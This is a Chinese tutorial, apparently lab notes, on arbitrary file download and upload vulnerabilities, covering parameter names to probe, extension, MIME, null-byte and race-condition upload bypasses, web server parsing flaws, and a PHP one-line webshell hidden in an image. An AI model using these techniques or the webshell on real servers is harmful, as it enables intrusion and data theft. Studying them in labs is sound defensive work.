任意文件的上传和下载

1.任意文件下载(高危)

  •  定义

        一些网站由于业务需求,往往需要提供文件查看或文件下载功能,但若对用户查看或下载的文件不做限制,则恶意用户就能够查看或下载任意敏感文件,这就是文件查看与下载漏洞。

  •     可以下载(参数没有限制)

可以通过../上一级的形式猜测下载配置文件,获取系统的账号密码

  • 挖洞的方式

        一般链接形式:
            download.php?path=
            down.php?file=
            data.php?file=
            download.php?filename=
        或者包含参数:
            &Src=
            &Inputfile=
            &Filepath=
            &Path=
            &Data=

  •  当遇到一个任意文件下载时,一般利用思路:

        下载常规的配置文件,例如: ssh,weblogic,ftp,mysql等相关配置
        下载各种.log文件,从中寻找一些后台地址,文件上传点之类的地方,如果运气好的话会获得一些前辈们的后门。
        下载web业务文件进行白盒审计,利用漏洞进一步攻入服务器。

  •   防御方法(漏洞修复)

        1.过滤".",使用户在url中不能回溯上级目录
        2.正则严格判断用户输入参数的格式
       3. php.ini配置open_basedir限定文件访问范围
            限制路径,只可以在这个路径下下载东西

2.任意文件上传(高危) 

2.1客户端

 通过js检测,在burp内抓包,将扩展名改为.php

 检测代码出现script就是前端

上传.jpg的形式,在burp进行抓包

 在burp里面更改文件扩展名

在upload里面存在hao.php 

首先取消拦截,复制图片地址

http://10.0.0.130:91/upload/upload/hao.php

2.2 服务端 

  • 黑名单

 上传特殊可解析后缀  .php3  .php5       修改apache配置文件,加入,php3和.php5,重启

插入.php3或者.php5

 http://10.0.0.130:91/upload/upload/202309121802212705.php3  不能解析

修改apache配置文件,加入,php3和.php5,重启

刷新页面,显示出来

 .htaccess   先上传.htaccess文件,在上传ha.jpg,会被解析为.php

先上传.htaccess文件

上传hao.jpg图片

 http://10.0.0.130:91/upload/upload/hao.jpg   会被解析为php

 利用PHP和 Windows环境的叠加特性4.php:.jpg

通过抓包改文件名为4.php:.jpg,以4.<形式传输文件内容

 上传jpg图片

通过burp抓包改为  4.php:.jpg

上传的为php形式,大小为零

找到放包的历史记录

文件名改为4.<或4.<<<或4.>>>或4.>><后

有了大小

 http://10.0.0.130:91/upload/upload/4.php

大小写混合绕过,把1.php改为1.phP 

 改名为hao.phP

 http://10.0.0.130:91/upload/upload/202309121935184766.phP

空格和点,写成1.php .  

 改名为  hao.php  .

  文件流特性绕过  ::$DATA

 hao.php::$DATA 

这个扩展名出不来

 ::$data  要把这个删掉

点空格点绕过   hao.php.  .    

 文件名改为hao.php.  .

 双后缀名绕过   hao.pphphp  

 ISS低版本5.x-6.x

目录解析   文件夹目录的扩展名为脚本扩展名,下面无论是什么文件都会被当成脚本解析(asp.cdx.asa.cer等)

打开网站2,新建一个文件夹C:\wwwtest\XYCMS

没有权限

  添加权限,重命名为123.asp

复制一个asp  

改名为jpg

http://10.0.0.130:82/123.asp/123.jpg  访问 

 ISS低版本5.x-6.x    文件解析    123.asp;.jpg

浏览器访问为图片

改为123.asp;.jpg

 http://10.0.0.130:82/123.asp;.jpg 

IIS7.5解析漏洞     fix_pathinfo   

在物理机搭建网站

在搜索栏输入iis点击


打开phpstudy 切换到iis

 

查看端口
                            

访问出现403   可以正常访问了

上传图片访问
是带有木马的图片

/.php加上这个

去掉这个勾

被解析了 

apache   从右往左开始解析,直到认识的为止

命名为不认识的形式 

nginx       /.php   fix_pathinfo与这个有关     

切换中间件

 将phpinfo.php改为phpinfo.jpg

应该为一个图片

 /.php加上这个被解析为php

为0是被防御,为1存在漏洞

  漏洞被防御 

  • 白名单 

白名单00截断

条件:php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc(魔术符号)需要为OFF状态
只能为.jpg形式

%00截断  

 hao.php%00    看一下版本 php版本要小于5.3.4,5.3.4及以上已经修复该问题;magic_quotes_gpc需要为OFF状态

 二进制00截断

 ../upload/hao.php      多打几个空格,将第一个空格改为00

将第一个空格改为00

  改完后如果不变恢复一下默认值,重启burp

 直接访问木马即可

MIME绕过     Content-Type: image/gif  改头部信息         

Content-Type: image/gif  改为这个

  • 检查文件内容 

 文件包含    将扩展名改为png        文件包含  图片和木马结合文件包含

将D:\VStart50\tools\漏洞利用\edjpgcom图片插入一句话工具中的test.jpg拖进一句话工具(随机插入在任何地方) 

 插入一句话木马 <?php @eval($_POST['123']);?>

右键打开图片可以看见有一句话木马

右键复制图片地址http://10.0.0.130:91/upload/upload/3820230913144850.jpg

点击文件包含漏洞

参数给变量,无论是什么形式都以脚本(php)解析

拼接http://10.0.0.130:91/upload/include.php?file=./upload/3820230913144850.jpg 查看图片以脚本执行了

 使用菜刀连接服务器

图片上传不了加头   上传的jpg图片右键查看变为gif要修改头   

含有一句话木马的jpg格式上传不了

头部添加GIF89a

以头来命名

 二次渲染
 图片带有一句话木马传到服务器,服务器检测通过,通过函数把图片生成一个新的图片,以前的删掉,二次渲染的图片一句话木马就没有了

  • 其他

条件竞争
服务器先允许你上传文件,然后检测是否合法,不合法再删除,我们要利用的就是在服务器删除前,访问到我们上传的php。
快速上传快速访问,服务器生成一个文件,不会被删除

清除变量

开始攻击

会时不时出现一个文件

 访问tj.php         http://192.168.134.1:90/upload/upload/tj.php

抓一个包

发送给测试器

 清除变量         

 线程数改为1

 会生成一个新的qing.php

两个同时开启一个上传,一个访问

服务器生成一个新的qing.php

访问服务器生成的qing.php,不会被删掉

  •     上传重命名竞争+Apache解析漏洞

  

 把php改名了

 发送给测试器快速点发送

可能会有一个两个没有被改名字 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/143118.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Kafka 常见问题

文章目录 kafka 如何确保消息的可靠性传输Kafka 高性能的体现利用Partition实现并行处理利用PageCache 如何提高 Kafka 性能调整内核参数来优化IO性能减少网络开销批处理数据压缩降低网络负载高效的序列化方式 kafka 如何确保消息的可靠性传输 消费端弄丢了数据 唯一可能导致…

8、SpringBoot_多环境开发

二、多环境开发 1.概述 概述&#xff1a;开发环境、测试环境、生产环境 分类 开发环境 spring:datasource:druid:url: jdbc:mysql://localhost:3306/springboot_ssmusername: rootpassword: 123456driver-class-name: com.mysql.cj.jdbc.Driver测试环境 spring:datasource:dr…

【PickerView案例10-国旗选择界面02 Objective-C预言】

一、好了,我们继续来实现这个国旗选择界面: 1.它的界面里面,是不是很简单,就一个UIPickerView,就完事儿了 然后,显示的每一行内容呢, 1)一个文字Label 2)一个图片 那大家应该有意识,它返回的应该是一个View,对吧, 代理方法里面,有一个返回View的,viewForRow…

【VUE复习·2】@click 之事件处理与函数(可传参);@click 阻止事件冒泡应用场景;@click 多修饰符应用场景(高级)

总览 1.“事件处理”是什么 2.click 函数参数传递应用 3.click 阻止事件冒泡应用场景 4.click 多修饰符应用场景&#xff08;高级&#xff09; 一、“事件处理”是什么 1.概念 我们在和页面进行交互时&#xff0c;进行点击或滑动或其他动作时&#xff0c;我们操作的是 DOM …

Ajax

一、什么是Ajax <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8"><meta http-equiv"X-UA-Compatible" content"IEedge"><meta name"viewport" content"widthdevice-wid…

[python 刷题] 853 Car Fleet

[python 刷题] 853 Car Fleet 哎……周赛第三题解应该用 monotonic stack 做优化的&#xff0c;没写出来&#xff0c;所以多刷两题 monotonic stack 的题目找找感觉…… 题目&#xff1a; There are n cars going to the same destination along a one-lane road. The destin…

MybatisPlus自定义SQL用法

1、功能概述&#xff1f; MybatisPlus框架提供了BaseMapper接口供我们使用&#xff0c;大大的方便了我们的基础开发&#xff0c;但是BaseMapper中提供的方法很多情况下不够用&#xff0c;这个时候我们依旧需要自定义SQL,也就是跟mybatis的用法相同&#xff0c;自定义xml映射文…

win11+wsl+git+cmake+x86gcc+armgcc+clangformat+vscode环境安装

一、安装wsl &#xff08;1&#xff09;打开power shell 并运行&#xff1a; Enable-WindowsOptionalFeature -Online -FeatureName Microsoft-Windows-Subsystem-Linux Enable-WindowsOptionalFeature -Online -FeatureName VirtualMachinePlatform &#xff08;2&#xff0…

APP开发费用估算方法

估算APP开发费用是一个重要的项目管理步骤&#xff0c;它有助于确定项目的总成本&#xff0c;并帮助您在项目规划阶段做出决策。APP开发费用估算的方法可以根据项目的规模、复杂性、功能和技术选择而异&#xff0c;以下是一些常见的APP开发费用估算方法&#xff0c;希望对大家有…

tailwind使用教程以及tailwind不生效的问题

以Vite项目为例 我们先安装依赖文件 生成文件 yarn add -D tailwindcss postcss autoprefixer npx tailwindcss init -p配置tailwind.config.js文件 /** type {import(tailwindcss).Config} */ export default {content: ["./index.html","./src/**/*.{vue,j…

Win/Mac版Scitools Understand教育版申请

这里写目录标题 前言教育版申请流程教育账号申请 前言 上篇文章为大家介绍了Scitools Understand软件&#xff0c;通过领取的反馈来看有很多朋友都想用这个软件&#xff0c;但是我的网盘里只存了windows的pojie版&#xff0c;没有mac版的&#xff0c;我没有去网上找相关的资源…

【00】FISCO BCOS区块链简介

官方文档&#xff1a;https://fisco-bcos-documentation.readthedocs.io/zh_CN/latest/docs/introduction.html FISCO BCOS是由国内企业主导研发、对外开源、安全可控的企业级金融联盟链底层平台&#xff0c;由金链盟开源工作组协作打造&#xff0c;并于2017年正式对外开源。 F…

用PHP实现极验验证功能

极验验证是一种防机器人的验证机制&#xff0c;可以通过图像识别等方式来判断用户是否为真实用户。在实现极验验证功能时&#xff0c;您需要进行以下步骤&#xff1a; 1 注册极验账号&#xff1a; 首先&#xff0c;您需要在极验官网注册账号并创建一个应用&#xff0c;获取相应…

机器学习,深度学习

一 、Numpy 1.1 安装numpy 2.2 Numpy操作数组 jupyter扩展插件&#xff08;用于显示目录&#xff09; 1、pip install jupyter_contrib_nbextensions -i https://pypi.tuna.tsinghua.edu.cn/simple 2、pip install jupyter_nbextensions_configurator -i https://pypi.tuna.t…

机器人过程自动化(RPA)入门 4. 数据处理

到目前为止,我们已经了解了RPA的基本知识,以及如何使用流程图或序列来组织工作流中的步骤。我们现在了解了UiPath组件,并对UiPath Studio有了全面的了解。我们用几个简单的例子制作了我们的第一个机器人。在我们继续之前,我们应该了解UiPath中的变量和数据操作。它与其他编…

Visual Studio 如何删除多余的空行,仅保留一行空行

1.CtrlH 打开替换窗口&#xff08;注意选择合适的查找范围&#xff09; VS2010: VS2017、VS2022: 2.复制下面正则表达式到上面的选择窗口&#xff1a; VS2010: ^(\s*)$\n\n VS2017: ^(\s*)$\n\n VS2022:^(\s*)$\n 3.下面的替换窗口皆写入 \n VS2010: \n VS2017: \n VS2022: \n …

C语言每日一题(9):跳水比赛猜名次

文章主题&#xff1a;跳水比赛猜名次&#x1f525;所属专栏&#xff1a;C语言每日一题&#x1f4d7;作者简介&#xff1a;每天不定时更新C语言的小白一枚&#xff0c;记录分享自己每天的所思所想&#x1f604;&#x1f3b6;个人主页&#xff1a;[₽]的个人主页&#x1f3c4;&am…

十三,打印辐照度图

上节HDR环境贴图进行卷积后&#xff0c;得到的就是辐照度图&#xff0c;表示的是周围环境间接漫反射光的积分。 现在也进行下打印&#xff0c;和前面打印HDR环境贴图一样&#xff0c;只是由于辐照度图做了平均&#xff0c;失去了大量高频部分&#xff0c;因此&#xff0c;可以…

2.(vue3.x+vite)组件注册并调用

前端技术社区总目录(订阅之前请先查看该博客) 关联博客 1.(vue3.x+vite)封装组件 一:umd调用方式 1:引入umd.js <script src="./public/myvue5.umd.js"></script>2:编写代码调用 (1)umd方式,根据“5

unity 限制 相机移动 区域(无需碰撞检测)

限制功能原著地址&#xff1a;unity限制相机可移动区域&#xff08;box collider&#xff09;_unity限制相机移动区域_manson-liao的博客-CSDN博客 一、创建限制区域 创建一个Cube&#xff0c;Scale大小1&#xff0c;添加组件&#xff1a;BoxCollder&#xff0c;调整BoxColld…